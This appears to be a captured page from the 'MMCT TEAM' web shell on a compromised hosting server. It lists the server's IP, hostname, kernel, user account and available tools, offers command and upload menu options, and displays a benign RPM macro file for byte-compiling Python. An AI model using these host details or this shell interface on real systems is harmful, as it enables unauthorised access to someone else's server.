MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.145.10.68
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /etc/rpm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //etc/rpm/macros.pybytecompile
# Note that the path could itself be a python file, or a directory

# Python's compile_all module only works on directories, and requires a max
# recursion depth

# Usage:
#    %py_byte_compile <interpereter> <path>
# Example:
#    %py_byte_compile %{__python3} %{buildroot}%{_datadir}/spam/plugins/

# This will terminate build on SyntaxErrors, if you want to avoid that,
# use it in a subshell like this:
#    (%{py_byte_compile <interpereter> <path>}) || :

%py_byte_compile()\
python_binary="%1"\
buildroot_path="%2"\
bytecode_compilation_path=".${buildroot_path/#$RPM_BUILD_ROOT}"\
failure=0\
pushd $RPM_BUILD_ROOT\
find $bytecode_compilation_path -type f -a -name "*.py" -print0 | xargs -0 $python_binary -O -m py_compile || failure=1\
find $bytecode_compilation_path -type f -a -name "*.py" -print0 | xargs -0 $python_binary -m py_compile || failure=1\
popd\
test $failure -eq 0

MMCT - 2023